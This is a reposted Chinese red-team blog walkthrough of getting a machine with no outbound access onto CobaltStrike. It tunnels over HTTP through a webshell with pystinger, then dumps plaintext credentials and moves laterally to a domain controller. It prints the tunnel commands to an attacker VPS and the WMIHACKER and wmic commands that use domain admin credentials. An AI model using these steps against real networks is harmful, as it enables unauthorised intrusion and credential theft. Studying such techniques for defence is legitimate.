文章总结： 这篇文章介绍了在不出网的内网环境中进行渗透测试的方法。作者通过使用pystinger工具创建HTTP隧道，成功将不出网的机器上线到CobaltStrike。文章详细展示了从获取Webshell到建立隧道，再到配置CobaltStrike监听器的完整流程，并演示了如何进行内网信息搜集、抓取明文密码以及获取域控权限。这一技术解决了红队在内网渗透中遇到的不出网环境挑战，为类似场景提供了可行的解决方案。
综合评分： 88
文章分类： 内网渗透,红队,渗透测试,实战经验,工具使用
[不出网的内网域渗透] 如何基于 http 隧道使用 pystinger 上线不出网机器到 CobaltStrike？
原创
渗透攻击红队
渗透攻击红队
2021年8月6日 09:15
渗透攻击红队
一个专注于红队攻击的公众号
大家好，这里是 渗透攻击红队的第 68 篇文章，本公众号会记录一些红队攻击的案例，不定时更新！请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关！
当跳板机器出网的情况下，我们可以随意内网渗透，只需注意免杀问题，那如何拿到一个 Webshell 不出网的情况下，如何进目标内网？如何上线到 C2？
不出网的内网域渗透
#
前言
首先是拿到了一个 Webshell：
通过初步判断当前机器 icmp 不出网：
那怎么办呢？我们可以基于 HTTP 隧道打！
基于 HTTP 隧道上线到 CobaltStrike
项目地址：https://github.com/FunnyWolf/pystinger
这个东东可以让 Webshell 实现内网 Socks4 代理，让不出网机器上线到 MSF/CS，使用 python 写的一款工具，支持目标站点 php、jsp（x）、aspx 三种脚本语言！
先上传对应的 Pystinger webshell 文件并成功访问：
然后我们还需要将 stinger_server.exe 上传到目标服务器 ，执行如下命令：
start c:\Windows\temp\cookie\stinger_server.exe 0.0.0.0
然后将 stinger_client 上传到 vps ，执行如下命令
./stinger_client -w http://saulgoodman.cn:9009//wls-wsat/proxy.jsp -l 0.0.0.0 -p 60000
此时已将目标服务器的 60020 端口映射到 VPS 的 60020 端口了！
这个时候我们 CobaltStrike 设置监听，http host 填写目标内网的 IP 地址：192.168.0.9，端口填写 60020:
然后我们生成一个 exe，监听器就是刚刚设置的那个：
然后目标运行 exe 马，直接上线到 CobaltStrike：
内网信息搜集
通过 nbtscan 对当前内网进行信息搜集发现当前内网是存在域环境的：
由于当前已经是 administrator 了，且是 Windows 2008 的机器，可以直接抓明文：
抓到了本地管理员和域管明文还有一些域用户的明文！既然域控是 192.168.0.2 这台，那么直接 WMI 横向把：
shell cscript c:\windows\temp\WMIHACKER.vbs /cmd 192.168.0.2 BExxxx\administrator vmxxxxx whoami 1
直接拿到域控 system 权限！我们还可以用系统自带的 WMI 来执行命令，只不过命令不回显：
wmic /node:192.168.0.2 /user:BEHxxxx\administrator /password:vm$xxxx process call create "cmd.exe /c ipconfig > c:\result.txt" type \\192.168.0.2\c$\result.txt
这篇文章主要就是想表达不出网也是可以对它进行内网渗透的，并不是遇到不出网环境就不能打内网，方法很多，知识面还是会决定你的杀伤链！
渗透攻击红队
一个专注于渗透红队攻击的公众号
点分享
点点赞
点在看
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：渗透攻击红队 渗透攻击红队《[不出网的内网域渗透] 如何基于 http 隧道使用 pystinger 上线不出网机器到 CobaltStrike？》